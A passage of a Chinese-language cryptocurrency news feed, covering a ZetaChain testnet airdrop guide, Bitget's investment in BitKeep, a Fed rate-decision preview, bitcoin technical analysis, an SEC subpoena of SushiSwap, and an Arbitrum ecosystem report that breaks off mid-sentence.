接下来进行 Swap，点击进入官网，通过 Cross-Chain Swap，选择从 Goerli 将 ZETA Swap 为 Polygon Mumbai 的 tMATIC，点击钱包确认； （BlcokBeats 注：本次跨链 Swap 需要较高的 gETH 作为 Gas） 接下来切换网络为 Polygon Mumbai，将部分 tMATIC 跨链 Swap 到 BSC Testnet 的 tBNB（正常需要几分钟）； 该流程完成后会获得一定积分，每周可以进行几次，增加账户积分。 GALXE 官网 接下来去GALXE 官网claim OAT，选择 Available 的 OAT 进行 claim； 做到这，还有两个 OAT 无法领取，需要填写谷歌邮箱和以太坊地址，通过完成 quiz 进行 claim，分别是： -ZETA Assimilated 101 OATquiz，答案：4134124 -ZETA Assimilated 201 OATquiz，答案：3122432 通过答题，验证后可以 claim 相应 OAT。 ZetaCrew 3 完成其 Crew 3 任务，进入其Crew 3，按要求完成任务领取积分。 Guild 进入其社群聚合平台Guild并验证。 目前看来，ZetaChain 已经确认会给测试网参与者奖励，只需要你动动手指，每周或每个月至少进行一定次数的测试网跨链 swap，保持活跃度和积分上涨，LFG！！！  ( 5 min )
    Bitget对Web3.0多链钱包Bitkeep投资3000万美元，成其控股股东
    3月22日的巴黎区块链峰会上，Bitget宣布将向Web3.0 多链钱包 BitKeep投资3000万美金，并获得控股权。据悉Bitkeep在上一轮融资中估值为 3 亿美元。本次投资旨在构建完整的 Web3.0 生态，连接 DeFi 和 CeFi ，发挥双方在各自专业领域的优势，同时将完善并增强 BitKeep 产品的稳定性以及安全性。 投资钱包是Bitget是该交易所拓展业务版图的重要一步，不但将业务范围扩展到钱包领域，并且协助Bitget提供原生存储和资产管理服务。通过整合 BitKeep 已覆盖的全球的 800 万用户，Bitget 将接触到全新的潜在用户。这是 Bitget 进入 Web 3.0 的关键举措之一。 对于本次投资 Bitget 董事总经理 Gracy Chen 表示：“此举对 Bitget 和 BitKeep 来说是双赢的选择，促进去中心化领域及其他领域的合作。我们不仅很高兴为 BitKeep 的团队提供必要的支持以加强其服务的安全性和稳定性，同时很高兴有这样一个成熟的行业参与者和我们合作，并且作为Bitget不断发展的生态系统的一部分。Bitget拥有 3 亿美元用户保护基金，是最受信任的加密货币交易平台之一，我们知道安全性和可靠性对加密货币用户的重要性。并且相信将在该领域的本地解决方案集成到 BitKeep 的框架后，将有助其提升整体形象。” BitKeep 首席运营官 Moka Han 也分享了她对本次投资的看法：“这项投资不仅意味着资金、技术以及专业团队方面的支持，同时还将为产品增长以及市场扩张提供丰富的经验。 这种合作伙伴关系提升Bitkeep为用户提供更全面的数字资产管理服务的潜力，让我们感到兴奋。我们相信，与 Bitget 的紧密合作不仅会推动我们业务的增长，还将会提供宝贵的经验，从而让我们的用户受益。” 2022 年 5 月，BitKeep 宣布以 1 亿美元的估值融资 1500 万美元。本轮融资由Dragonfly Capital 领投，由KuCoin Ventures、A&T Capital、Foresight Ventures、SevenX、Matrixport、Bixin Capital、Danhua Capital、Peak Capital 和 YM Capital 等跟投。 关于Bitget Bitget成立于2018年，是全球领先的加密资产交易平台，以期货交易和跟单交易服务为特色。目前，Bitget 为全球100多个国家和地区的800多万用户提供服务。致力于提供安全高效的一站式解决方案，从而协助用户更智能地进行交易。Bitget 在全球拥有众多值得信赖的合作伙伴，包括阿根廷传奇足球运动员利昂内尔·梅西、意大利知名足球队尤文图斯和官方电子竞技赛事组织者 PGL。据 Coingecko 的数据显示，Bitget 目前是全球排名前 5 的期货交易平台以及全球排名前 10 的现货交易平台。 关于BitKeep BitKeep是一款为全球用户提供一站式数字资产管理服务的去中心化多链数字钱包。集NFT 市场、钱包服务、交换服务、DApp 浏览器以及 Launchpad等多重服务。它为全球超过 900 万用户提供可靠、安全的资产管理和交易服务，覆盖北美、欧洲和亚洲的 168 个国家，是全球 Google Play 上排名第一的钱包，超过了 Metamask。 BitKeep 目前支持超过 90+ 主链、20000+DApp 以及 255,400 资产币种，包括比特币、以太坊、Polygon、BNB Chain、Fantom 和 Solana 等主链。  ( 5 min )
    Bitget以3亿美元的估值追加投资3000万美元，收购了加密钱包BitKeep的控股权
    PANews 3月22日消息，据The Block报道，加密货币交易所 Bitget 以 3 亿美元的估值追加投资 3000 万美元，收购了加密钱包 BitKeep 的控股权。作为 Bitget 交易的一部分，BitKeep 的化名 CEO Kevin Como 将辞职，而 BitKeep 现任首席产品官 Karry Cheung 将晋升为 CEO。BitKeep 将继续作为独立实体运营。  ( 4 min )
    今夜FOMC前瞻：金融风险担忧正蔓延，鲍威尔会按下暂停键吗？
    来源：华尔街见闻 作者：韩旭阳 计划永远赶不上变化，这或是自2008年以来最具不确定性的一次美联储决议。 美东时间3月22日周三14:00（北京时间周四凌晨02:00），美联储将公布利率决议和经济预期摘要，随后美联储主席鲍威尔召开货币政策新闻发布会。 恐慌和不安的情绪已经笼罩着美国市场数周。就在两周前，由于通胀和就业数据仍旧强劲，市场还在为50个基点的加息幅度定价。但在硅谷银行和 Signature Bank接连倒闭后，人们对美国银行体系的信心突然崩溃，加息前景变得更加复杂。 分析人士如今对美联储的下一步行动意见不一，认为美联储既要表现出恢复价格稳定的决心，同时又要表明其在必要时须对实际情况做出反应，这将是一项艰难的平衡行动。有人认为美联储应该暂停紧缩政策，以便让银行业重振旗鼓；其他人则表示美联储有责任管理通胀和就业，25个基点甚至50个基点的加息仍迫在眉睫。 Bianco Research 总裁 Jim Bianco认为，这是自2008年以来最具不确定性的一次美联储会议。在2008年9月15日——FOMC会议的前一天，有关雷曼兄弟破产的恐慌情绪充斥着市场，人们对美联储加息路径预期的波动异常地大，但这种不确定性只持续了一天。 有“新美联储通讯社”之称的华尔街日报记者 Nick Timiraos此前撰文称，鲍威尔和他的同事本周面临他们多年来最艰难的决定之一。这次会议也被称为是鲍威尔的“沃尔克时刻”，对他的考验独特而严峻，不同于其他任何人。 目前市场预期仍倾向加息25个基点。芝商所美联储观察工具 CME FedWatch Tool 显示，截至目前，对加息25个基点的预测概率为84.9%，对不加息的预测概率为15.1%。 这是自2022年3月16日美联储开启本轮加息周期以来，期货市场首次为暂停加息的可能性定价，甚至有机构喊出了降息预期。 加息25个基点 瑞银、汇丰、美银等多家机构都预计美联储将在此次会议上加息25个基点，将联邦基金利率目标区间提高至4.75%-5%。尽管银行业危机令市场动荡不安，但分析师认为，FOMC不会通过暂停加息冒险暗示银行系统无法承受这一举措，也不会冒险承认快速、提前加息的风险比之前假设的更大。FOMC可能会辩称，银行系统仍然强大并有弹性。 根据美国银行对本周美联储资产负债表中发放信贷总额的研究，尽管金融压力仍然存在，但相对温和并且可控，这是一个积极的信号。牛津经济研究院首席美国经济学家 Oren Klachkin也认为，近期银行业的危机不会对广泛的金融体系和经济构成系统性风险。在通胀仍在升温的情况下，美联储有更好的方法来缓解银行业的压力。 如果情况变得更糟糕，美联储仍有选择应对。美银认为，首先，美联储拥有强大的工具来应对源自银行业的挑战；其次，美联储在发挥最后贷款人作用的同时，也可以对货币政策立场进行微调，以努力恢复价格稳定。这两个目标之间可能会出现冲突，但美联储有不同的政策工具。如果对金融稳定的担忧太大，在必要的情况下，在短期内采取预防性降息和停止缩表并没有什么不妥。如果成功，美联储随后可能继续收紧政策，以实现其双重职能。 对于这一行动的市场反应，野村策略师 Yunosuke Ikeda认为，市场会将其视为破坏性最小的选择。美联储释放出信号，打算同时解决金融系统不稳定和通胀问题，让市场感到欣慰。消息公布后，股市可能会立即下跌，尤其是高科技股票。随后股市将逐步上涨，利率回升，美元升值、日元贬值。届时，市场的注意力可能会重新回到经济和通胀上。 倒向暂停加息一方给出的主要理由是银行体系仍承受着压力，加息可能会进一步加剧人们对银行业稳定性的担忧。 高盛经济学家周一在一份报告中写道：“我们预计，由于银行系统存在压力，FOMC将在本周的会议上暂停加息。尽管政策制定者已经采取了积极措施以支撑金融体系，但市场似乎并不完全相信，支持中小型银行的这些努力是足够的。” 当地时间3月19日，美联储与加拿大央行、英国央行、日本央行、欧洲央行、瑞士央行发布联合声明，宣布通过常设美元流动性互换额度安排加强流动性供应，为全球市场提供更多流动性支持。 MacroPolicy Perspectives LLC总裁、前美联储经济学家 Julia Coronado对此表示，美联储正在与其他央行进行全球协调，以拯救机构并保持流动性，这表明暂停加息可能是更好的选择。她补充称，美联储可能会发出信号，表明其“目前的意图是集中在稳定银行体系的流动性上”。 毕马威首席经济学家 Diane Swonk反问道： 现在的加息预期可能不得不迅速逆转，以应对更严重、更不可控的衰退和通货紧缩。美联储可能被迫提前这么多时间降息，为什么还要加息呢？ Ikeda认为，在预期范围内，市场可能将按兵不动视为一种鸽派立场，最初的反应可能是高科技股票带动股市上涨。不过，市场不稳定性仍存在，股市可能会转为下跌，尤其是周期性股票。在这种情况下，利率将下降，美元走弱、日元走强。 一向最为激进的野村证券预计美联储将在此次会议上降息，是华尔街第一家喊出降息的机构。野村策略师 AichiAmemiya 认为，市场的一个担忧是，尽管FDIC已经承诺保护储户的利益，但存款外逃可能不会很快放缓。个人储户对存款利率的敏感性有所增加，商业银行资金可能出现大量外流，这将迫使银行清算其贷款组合，除非银行大幅提高存款利率。 野村称，由于美联储推出新的银行定期融资计划BTFP，银行持有至到期投资组合中未实现的资本损失可能不会成为迫在眉睫的问题。然而，如果美联储将政策利率“更长时间地维持在较高水平”，银行将不愿清算持有的证券，因为出售证券将在短时间内使这些损失变现。 Ikeda认为，市场可能会将降息视为美联储恐慌情绪的反映，以及金融体系存在严重问题的证据。虽然声明刚发布后股市可能立即上涨，但这只是一种条件反射，随着市场消化全面衰退和未来降息的影响，股市、利率和美元将加速下跌。 总体而言，在这三种情形下，Ikeda 认为市场的反应几乎不取决于美联储具体采取了什么行动，而更多地取决于这些行动所暗示出的美联储今后将采取的方向。 本周FOMC会议的另一个重要内容，是政策制定者将自去年12月以来首次发布最新的经济预测和点阵图，就美联储今年剩余时间的货币政策路径提供关键指引。目前机构普遍预计联储官员们将修改前瞻指引。 德意志银行认为，本周的FOMC声明中最重要的变化将是前瞻指引措辞的调整。委员会将用仍暗示紧缩倾向、但在很大程度上依赖于数据的措辞取代“持续加息”的原措辞。通过这种方式，政策制定者仍将致力于抗击通胀，但鉴于不确定性上升，他们不会预先承诺任何政策行动。在新闻发布会上，主席鲍威尔可以进一步详细阐述FOMC的基本展望，以及如何看待围绕这一观点的风险。 除了继续强调数据依赖性外，包括美银和瑞银在内的分析师还认为，鲍威尔将在新闻发布会上提到过去几天的金融业发展，他将强调银行系统的资本充足、安全可靠，并为美联储支持银行体系的行动进行辩护，称美联储拥有强大的工具来应对金融稳定风险。 当地时间3月14日，美联储理事鲍曼公开表示：“美国的银行体系仍然具有弹性和坚实的基础，整个系统拥有强大的资本和流动性。美联储将继续密切关注金融市场和整个金融体系的发展。”分析师认为，这就是最好的例证。“点状图”中的预测不是一种承诺，如果条件允许，FOMC将改变利率路径。 此外，分析师也预计FOMC将上调对联邦基金利率峰值的预测，基本情景是25个基点。FOMC需要假设更高的利率路径，以保持长期通胀预测不变。 美银预计2023年的新利率峰值为5.4%，2024年为4.6%，2025年为3.4%，这将比12月的预测分别高出25bp、50bp和25bp。FOMC在声明中将保留关于“持续上调”联邦基金利率目标区间的措辞。 高盛和瑞银也持类似看法：2023年的利率峰值中值预期维持在5.4%，2024年的三次降息将使中值预期降至4.6%，而2025年为3.1%。长期利率的中值预期可能会保持在2.5%，但在分布上会有一个上升的趋势。2023年核心PCE通胀的预测中值可能会走高，接近4%。 而野村认为，由于市场的通胀预期低于2月就业报告前的低点，FOMC成员不会上调对利率峰值的预测。这可能被视为鹰派信号，将令股价承压。 多数经济学家预测的政策路径明显比联邦基金期货市场反映的当前预期更为激进，突显出美联储此次利率决定的不确定性，且未来几个月的轨迹也是如此。 硅谷银行危机后，不仅关于美联储加息路径的争论进行得如火如荼，另一个焦点话题是，随着地区银行业陷入困境，美国的信贷紧缩程度有多严重。根据媒体的调查，多数人预计，美国国家经济研究局将在2023年宣布出现衰退，其中大部分人认为衰退将发生在第三或第四季度，不过仍是温和衰退。 瑞银认为，2022年实际消费增长的40%以上可以归因于循环信贷余额的增加，其中主要是信用卡余额。整体信贷增长了15%，但这一速度是不可持续的。在过去两周的危机发生后，信贷紧缩的加剧可能对经济增长和政策利率的未来路径构成下行风险。 瑞银还表示，家庭资产负债表的健康状况不如一年前，许多家庭的状况比2019年更糟。这点以及消费对信贷的高度依赖，使得家庭部门对信贷环境收紧非常敏感。此外，在硅谷银行危机之前，贷款机构提供信贷的意愿就已经在下降。近期的事件进一步印证硬着陆即将到来，未来几个月实际消费应该会走弱。 虽然支持加息25个基点，但美银认为，美联储可能提前结束紧缩周期的风险更大，银行贷款标准的大幅收紧也可能导致比目前预测的更艰难的着陆。银行业危机只会让情况更加糟糕，其留给经济的“切肤之痛”将是深刻而持久的。 过去累计加息的负面滞后影响正在慢慢显现。野村策略师 AichiAmemiya 认为，银行贷款的收紧会使美国经济在2023年下半年开始陷入衰退，这一过程甚至还在加速。在这一点上，美联储可能会变得更具前瞻性，它可能会更加重视通胀前景，而不是等待实际通胀的实质性下降。在这方面，金融稳定风险正迅速成为货币政策的主导因素。但只要美联储降息幅度足够大，经济衰退仍可以避免。 牛津经济研究院首席美国经济学家 Ryan Sweet向媒体表示，软着陆的可能性很小，经济衰退将从今年第三季度开始，并持续6-9个月。从历史上看，衰退这有助于减轻通胀压力，“我不认为美联储会站出来公开表示他们支持温和衰退，但这确实对他们有帮助。这将是让通胀更快回落至目标水平的一种方式”。 一些分析师还将关注FOMC是否会就其量化紧缩QT计划发表任何声明，特别是考虑到上周资产负债表的显著扩张。法国农业信贷银行认为，如果最近宣布的BTFP计划被采用，将意味着资产负债表规模的增加，至少可以部分抵消QT。 瑞银预计，关于对银行系统流动性供应提供支持的措施出台，会推动对准备金供应和银行融资市场进行更严格的审查，QT将在今年结束时出现重大变化。如果美联储不得不为银行系统继续提供流动性支持，那么在本周美联储资产负债表扩张之前，准备金已经不足GDP的11.5%，这种状况似乎很难持续几个季度。 该机构认为，另一个越来越大的风险是，最近的金融状况发展可能会使美联储对准备金流失的节奏进行更多的审查，并可能促使QT步伐放缓。 Amemiya 也持同一看法。尽管存款与货币市场基金等非存款投资工具的选择对银行很重要，但结束QT应该有助于保持比其他情况下更充足的准备金数量。其他很多银行正面临严重的银行挤兑风险，这一事实表明，美联储过度紧缩的风险越来越大，也支持美联储在短期内降息。与金融市场状况相比，累计加息不成比例地减少了通过银行贷款提供的信贷。  ( 4 min )
    彭博社：如果图表指标正确，比特币在今年将继续上涨70%
    作者 | 彭博社Akshay Chinchalkar 编译 | PANews 进入2023年之后，比特币的表现惊艳，创下自2021年初以来季度涨幅最高记录。一些分析师认为，比特币已经成为对冲美国和欧洲银行业困境的工具，加上预期实施的货币量化宽松政策，比特币将会成为应对当前经济问题的最佳解决方案。 Ark Invest创始人“木头姐”Cathie Wood在接受Bloomberg Television采访时表示，在美国银行危机发生之后，比特币价格不降反增，因此将吸引更多机构入场。此前，Silvergate Bank、Signature Bank和硅谷银行的倒闭、以及瑞信被收购，也让越来越多人开始对传统金融机构产生质疑。2022年，数字资产市场价值规模暴跌1.5万亿美元，但随着比特币价格反弹，该指标已在2023年增加了约3900亿美元。不过，本周数字市场的涨势略有下降，比特币一度小幅下挫至28,000美元下方，这种情况可能是交易者正在等待美联储最新的货币政策，分析显示相关回调有可能只是下一步上涨的“临时减速带”。 根据Pepperstone Group Ltd.研究负责人Chris Weston在最新报告中分析，自2023年初以来，比特币价格已经上涨70%。为了解决美国的银行流动性危机，美联储资产负债表上周增加了3000亿美元，扩表显然对风险资产产生了积极影响，也对比特币和黄金价格上涨提供了帮助。比特币会冲上3.5万美元吗？ 现在，比特币价格走势已经形成了一个反向头肩形态，这种形态通常被视为看涨。IG Australia Pty市场分析师 Tony Sycamore认为，随着利率市场从加息定价转向降息定价，现在市场已经迎来“温和顺风”，推动比特币价格持续走高，技术研究表明比特币的价格目标约为35,000美元。 Ichimoku云图指标用于衡量动量以及未来价格支撑和阻力区域的技术分析指标，目前被广泛用于判断外汇、期货、股票、黄金等投资品种的趋势和动量。该指标将各种技术策略组合成一个易于实现和解释的指标。“ichimoku”翻译成中文是“一目”的意思，相当于交易者只需要看一眼图表就能确定价格动量走势、支撑和阻力位。K33研究主管Bendik Schei在分析报告中指出，当前比特币已经进入到具有“下一步增长潜力”的云端，更重要的是，由于美联储被迫为动荡不安的传统银行注入流动性，让比特币“作为传统金融系统对冲”的叙事被越来越多人所接受. DeMARK 序列指标是一种预测市场趋势何时结束的价格动量分析方法，上图中的红色箭头区域可以看出，比特币价格可能会有临时回调的可能，Fairlead Strategies LLC创始人Katie Stockton在一份报告中写道，DeMARK指标显示比特币可能出现中性的短期回调，但其他分析模式则预示比特币会有“长期突破”。  ( 4 min )
    Sushi 及负责人受调查：SEC 要对 DeFi 出手了吗？
    根据一篇最新的论坛帖子，DeFi 项目 SushiSwap 及主要负责人Jared Grey已被美国证券交易委员会（SEC）传唤。 该帖子建议建立一个 300 万美元的法律基金来支付法律费用，来减少贡献者和 DAO 的责任，并保护核心贡献者。 该基金将由 Tether 的 USDT 稳定币资助，并通过 DAO 提案引入。资金来源： Kanpai 费用：50% Grants：35% $SUSHI：15% Grey 引用了一份早期民意调查，社区论坛中的大部分人都支持这样一个合法基金，62 名选民中有 89% 的人表示他们赞成建立该基金。但是，该投票并不是由 Sushi DAO 做出的决定。 论坛帖子几乎没有提供有关传票性质的其他详细信息：Sushi 和“主厨” Jared Grey 最近收到了 SEC 传票，我们正在与 SEC 合作。我们无意就正在进行的调查或其他法律事务公开发表评论。 消息传出后不久，Sushi 的原生代币 ($SUSHI) 的价格从 1.22 美元跌至 1.15 美元，下降了约 6.5%。 从理论上讲，由于缺乏可以被监管机构针对的集中权力，所以任何 DeFi 项目都应该能够抵抗监管。 因此，Sushi 社区质疑 Sushi 本身是如何被传唤的。 有第三方网站表明该项目的总部位于纽约或日本，但尚不清楚是否存在任何办事处。 据推测，该项目的 DAO 成员可能会被传唤，但至少有一名 DAO 成员否认收到传票。 ​ Sushi 并不是第一个引起 SEC 关注的去中心化加密项目。2021 年，SEC 对具有欺诈行为的DeFi Money Market采取了行动。并且在 2018 年，SEC 对早期的去中心化交易平台 Etherdelta 及其创始人采取了执法行动。 SEC 也有可能正在研究其他的去中心化项目。今年 3 月，网传有几个 DeFi 平台在不同的时间段内分别收到了来自 SEC 的 Wells 通知。 然而，Wells 通知将表明 SEC 打算采取执法行动——而 Sushi 的传票仅意味着调查。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 5 min )
    Binance Launchpad项目Space ID已完成认购，超10万名参与者投入超867万枚BNB
    PANews 3月22日消息，据官方公告，Binance Launchpad 项目 Space ID 已完成认购。认购期间共有 103,598 名参与者投入 8,677,923.9471 枚 BNB，超额认购 1,170 倍。5 名参与者达到 600,000 ID 硬顶，导致参与者分配给剩余用户。随后，Binance创新区将于3月22日20:00上线Space ID（ID），并开通ID/BTC、ID/USDT、ID/BNB交易对交易。 相关阅读：详解币安Launchpad项目SpaceID：经济模型、空投细则及如何获得后续空投  ( 4 min )
    全方位解读Layer2龙头Arbitrum：技术特性、生态发展及未来展望
    原文标题：一文读懂以太坊二层项目Arbitrum 原文作者：火必研究院 Stefanie 目录 1. 项目情况介绍 1.1 技术方案及特点 2. Arbitrum 现状 3. 技术升级 4. 生态合作 5. 热门项目分析 5.1 Defi 类 5.2 游戏类 6. Layer2 未来发展 6.1 Rollup 方案瓶颈与展望 6.2 Arbitrum 在 2023 年的持续爆发 参考资料 1.1技术方案及特点 Arbitrum 方案是由 Offchain Labs 提出并创建的，最早是一个纯粹的研究型学术项目，后经过不断优化和改进，逐渐转入实践。该方案也是基于 Optimistic Rollup 的解决方案，通过经济激励的博弈模型维护安全性并通过欺诈证明来维护交易有效性，主要区别在于挑战机制和实现形式。Optimism 只需要排序者和验证者执行一次欺诈证明交互即可判断出结果，而 Arbitrum 认为一次交互可能导致欺诈证明需要包含大量的交易从而超出 gas 限制，并且提出欺诈证明是由于单条指令执行异常导致，无需执行全部的指令。因此，Arbitrum 将欺诈证明分为多轮步骤，只需要证明排序者在执行某条指令时出现异常，即可证明排序者作恶，节省成本。 Arbitrum 的方案与 Optimism Rollup 的主要特点是一致的，我们不再赘述，主要可以关注欺诈证明机制的变化带来的改变。 Arbitrum 采用多轮欺诈证明验证交易的有效性，降低单次挑战需要消耗的 gas，不必担心 gas 费用超出限制。 虽然 Optimism 团队的 OVM 对 EVM 兼容，但其实不是 100% 兼容，已有的项目从一层迁移过来仍然需要修改代码，Arbitrun 团队的方案则是几乎 100% 兼容。 多步交易可能存在安全性问题。Arbitrum 交易的有效性验证需要多轮交互，内置虚拟机需要支持异步机制，该机制更加复杂，代码量更大，可能存在安全问题。 2023 年初表现最亮眼的赛道莫过于 Layer2，这也符合大部分机构和影响力人物的预测。在币价上，Optimism,Polygon 以及 Arbitrum 上的生态币也都表现不错，比如Token$OP 在 2 月最高$3.17，$MATIC 最高也达到$1.32。在 Terra 和 Solana 这类新公链在熊市的暴雷事件影响下，未来还将是以太坊的主场，可以说更多是新公链和 Layer2 的竞争。随着加密行情出现的小高潮，在 2 月 Arbitrum 一马当先，创造了瞩目的成果。 图 1. TVL in all chains 目前，Arbitrum 是以太坊二层扩容方案中 TVL 最大的项目，达到 3.85B，占所有网络的 3.63%TVL 份额，在 L2 中还拥有 55.97% 的 TVL 份额，尤其是空投之后，增长了 21.29%。ArbitrumRollup 是一种由链上以太坊合约管理的链下协议，所以准确地说 Arbitrum 并不是一条区块链，而是把链下交易通过压缩算法上传到以太坊主网。这种方式能够部分解决以太坊面临的拥堵问题，以达到快速交易、低 gas fee、安全性保证、用户体验好等优势。 图 2. Layer2 项目一览 2023 年 3 月 16 日，Arbitrum 宣布了其Token$ARB，这是 Arbitrum One 和 Arbitrum Nova 网络的 DAO 治理Token。Arbitrum Token $ARB 初始总供应量 100 亿枚，每年最多通货膨胀 2%。Token空投方面，初始总供应量的 11.62% 会空投给 Arbitrum 用户，1.13% 将空投给构建在 Arbitrum 构建应用的 DAO 金库。具体Token分配如下：   3. 技术升级 2022 年，Arbitrum 动作频出，除了奥德赛活动之外，其在技术升级上也是不断推陈出新，其中包括启动 Arbitrum Nova 和 Arbitrum One 双链、推出新的编程环境 Stylus。下面我们一一介绍这些技术核心和解决的问题。 （1）Arbitrum Nova – AnyTrust 链 2022 年 7 月 12 日，Arbitrum 网络宣布构建了新链「Arbitrum Nova」。这条链基于 AnyTrust 技术搭建，专为游戏、社交应用程序和对成本更敏感的用例而设计。AnyTrust 技术基于通过数据可用性委员会确保的最小信任假设。该委员会将负责管理链下交易数据并提供该数据支持批次。因此，AnyTrust 省去了用户需要等待的 7 天提币期，提高了用户体验。主要技术核心有以下几点： （2）Nitro 2022 年 8 月底。Arbitrum One 成功升级到 Nitro 版本。Nitro 升级大大提高了网络速度并降低了交易成本。总的来说，Nitro 主要做了以下技术升级： Arbitrum Nitro 技术的核心是一个新的证明器（prover），可以在 WASM 代码上进行 Arbitrum 的交互式欺诈证明。这样就可以使用标准的语言和工具来构建和编译。同时，Gethcore 也直接编译到 Arbitrum 中，使得其更兼容 EVM。 （3）Stylus Arbitrum 开发团队 Offchain Labs 宣布将为 ArbitrumOne 和 Arbitrum Nova 推出下一代编程环境 Stylus，Stylus 通过 WebAssembly 智能合约功能，允许用户使用他们最喜欢的编程语言（包括 Rust、C 和 C++）部署应用程序，以便与 Arbitrum 上的 EVM 程序一起运行。Stylus 的速度快了一个数量级，并且能够降低费用，并且与以太坊虚拟机（EVM）完全互操作。OffchainLabs 将 Stylus 称之为 EVM+，但是，Stylus 不会取代 EVM。 在过去一年，Arbitrum 市场份额大幅增长，这种增长来源于：1.Layer2 的持续看好；2. Arb 的发币预期；3. 生态应用的增长，尤其是原生应用的增长。自去年 9 月主网 ArbitrumOne 上线以来，以太坊 Layer1 主网上的头部 DeFi 协议 Uniswap、Sushiswap、Curve 等应用纷纷在 Arbitrum One 上集成部署，还有一些知名的跨链协议。例如 Synapse 和 Stargate。这些应用的涌入也表明了开发者对 Arbitrum 扩容方案的看好。 2022 年 6 月，奥德赛活动主办方挑选了 Arbitrum 上的 14 个最活跃项目，包括跨链桥、DeFi、NFT 、游戏。活动时间原本计划为期 8 周，但实际只进行了第一周就暂停了。奥德赛暂停的根本原因是在第二周的时候，网络拥堵，导致 gas fee 太高。当时已经超过了以太坊主网的 gas fee. 其实这已充分说明 Arbitrum 当时的状态没办法承载这么多的用户。 但是，奥德赛虽然只举办了一周，但这次的活动还是吸引了足够多的关注。Arbitrum 结合 NFT 以活动周的形式，激发了用户参与的热情，也有助于用户了解 Arbitrum 的生态，在提高用户量的同时，也给其生态的项目带来了流量。同时又保留了未来对发币的预期，而不是匆匆发币给空投的方式。 根据浏览器上的数据显示，自 6 月 21 日奥德赛活动开始到第一周任务结束时，Arbitrum 的新增地址达 20.7 w 个。并在 6 月 27 日单日新增达到了 5.5 万个，成为单日新增地址最多的一天。可见奥德赛活动之成功。 图 3. Arbitrum 链上唯一地址数变化 奥德赛活动之后，Arbitrum 在技术上持续发力，在生态上不断推出创新机制的项目，使得其在 1 月底的小牛市期待值拉满。目前，Arbitrum 2022 年 10 月-2023 月 1 月的平均月活跃地址数为 608.365k，较 9 月上涨了 51.2%。Arbitrum 的交易量与用户数也有相应的上升。 图 4. Arbitrum 月活跃地址数（dune, @springzhang） 5. 热门项目分析 近 2 个月，Arbitrum 上的原生生态项目获得了整个加密市场的关注。这里梳理了部分表现亮眼的项目，这些项目的市值与其它公链的同类型项目比较还有一定的差距，还是处于低估值状态。随着 Arbitrum 的发币和未来发展，都会有很大的提升空间。 表 2. Arbitrum 生态优质项目信息汇总（来源：Huobi Research 整理） 5.1 Defi类 Arbitrum 上有多链部署的知名项目，例如 Uniswap 和 AAVE。但是，Arbitrum 的原生项目反而展现出惊人的爆发力，例如永续合约交易平台GMX 、衍生的收益聚合器和机枪池项目 Jones DAO 等。目前 Arbitrum 已经跑通了一个可以持续赚钱的飞轮：衍生品协议类似赌场，有持续的业务收入；各类收益聚合器利用自身策略持续吸引资金，并扩大收益；更多人参与收益聚合器，流动性更充足，收入也越来越多。 图 5. ArbitrumTVL 排名前十的项目（来源：Defillama） 热点项目一：GMX GMX 是一个去中心化永续合约交易平台。其允许用户在一个去中心化的平台上进行高达30 倍杠杆的 ETH、BTC、LINK 和 UNI 永续合约交易，而不是通过 Binance 或 FTX 等中心化交易平台使用杠杆来进行做空或做多。 在执行上，它相比中心化交易平台操作要更复杂些，并且需要使用预言机进行喂价。所以，它需要借助外部力量来执行开仓平仓操作，GMX 正是借助 Keeper（类似于众包）完成这项工作。 用户在 GMX 进行平仓操作的时候，会分为两部分：一个是用户发送交易，另一个是执行操作，而执行操作则是由 GMX Keeper 完成的。用户不但需要交发送交易的 Gas 费外，为了能保证交易能正常执行，还需要为 Keeper 执行操作交 Gas 费。 GMX TVL 达 4.96 亿美元，占 Arbitrum 所有 DeFi 协议 TVL 的 27.53%（2023 年 3 月 20 日数据）。该协议在过去一年中产生了 3390 万美元的收入，使 GMX Token成为在动荡的2022 年表现最佳的资产之一，对美元和 ETH 的回报率分别为84.0% 和 428.5%。 热点项目二：Camelot Camelot 作为 Arbitrum 的原生 DEX，在 2022 年 12 月已经完成了Token销售，整体上还是常规的 Uniswap V2+Curve 类型的 DEX，在此基础上增加了 Launchpad、结合了自定义交易手续费、将 LP 与 NFT 结合、允许项目方设置激励措施，它的功能和特点总结如下： OP 上的同类型项目 TVL 最高的为 Velodrome，有 7714 万美元的流动性。这一数字甚至超过了 Uniswap V3 的 4487 万美元，但 FDV 只有 946 万美元，FDV/TVL 为 0.21。相对于 Camelot，Velodrome 的 TVL 更高，但估值更低。Camelot 的 TVL 也在近期增长了 57% 左右，达到 9879 万美元。 热点项目三：RDNT Arbitrum 上的借贷协议 RDNT 有两个创新：利用 LayerZero 进行多链借贷；可以循环贷（暂不能使用）。目前在 Arbitrum 上是龙头，TVL 超过了 aave V3 的 Arb 版本，但是长期来看竞争依然非常非常大。 由于是全链借贷协议，用户可以在任何主要链上存入任何主要资产，并跨链借入各种受支持的资产。lender 存入资产，borrower 可以借贷，产生的手续费（平台收益）50% 给到 lender，剩下 50% 给到锁仓 RNDT 作为奖励。目前该协议是 V1 版本，而 V2 版本将做出以下升级： Arbitrum 拥有一个快速发展的 GameFi 生态系统，尤其是三个爆火的项目：Treasure DAO，The beacon，Trident DAO。目前 Arbitrum 上的 GameFi 生态并不像其衍生品赛道拥有和其他链比的绝对优势，只是相对领先，一切都需要看后续的发展。 Treasure DAO Treasure 想要构建一个「去中心化任天堂」，这是一系列链上游戏，这些游戏通过游戏内资产的互操作性和 Treasure 的原生Token MAGIC 作为共享货币相互连接。这些游戏中最受欢迎的包括战略游戏 Bridgeworld、The Beacon 和 Smolverse 等角色扮演游戏，以及资源管理和战略游戏 Realm。 这些游戏可以通过 Trove 访问。Trove 是宝藏生态系统的中心，是游戏内资产和宝藏 NFT 收藏品的市场。这些系列中最受欢迎的是 Smol Brains（Smolverse 的基础）和另一个 NFT 系列 The LostDonkeys，它有自己的同名游戏。 Trident DAO Arbitrum 上一个项目「Trident」提出了「Risk To Earn」的可持续 GameFi经济模型，引起了玩家和社群的关注，并在其 Token 公售后飙升为Arbitrum 生态热度最高的项目。 PSI 是 Trident 的官方实用 Token，将使用于其未来版本中的各种游戏，可用于购买物品、兑换 NFT，玩家之间的投注等，并且Trident 将从每次成功的下注中收取费用然后将其永久销毁，一旦 Risk To Earn 集成完成，PSI 的供应就会通货紧缩。 Rollup 是被寄予厚望的扩容解决方案，其交易消耗的 gas 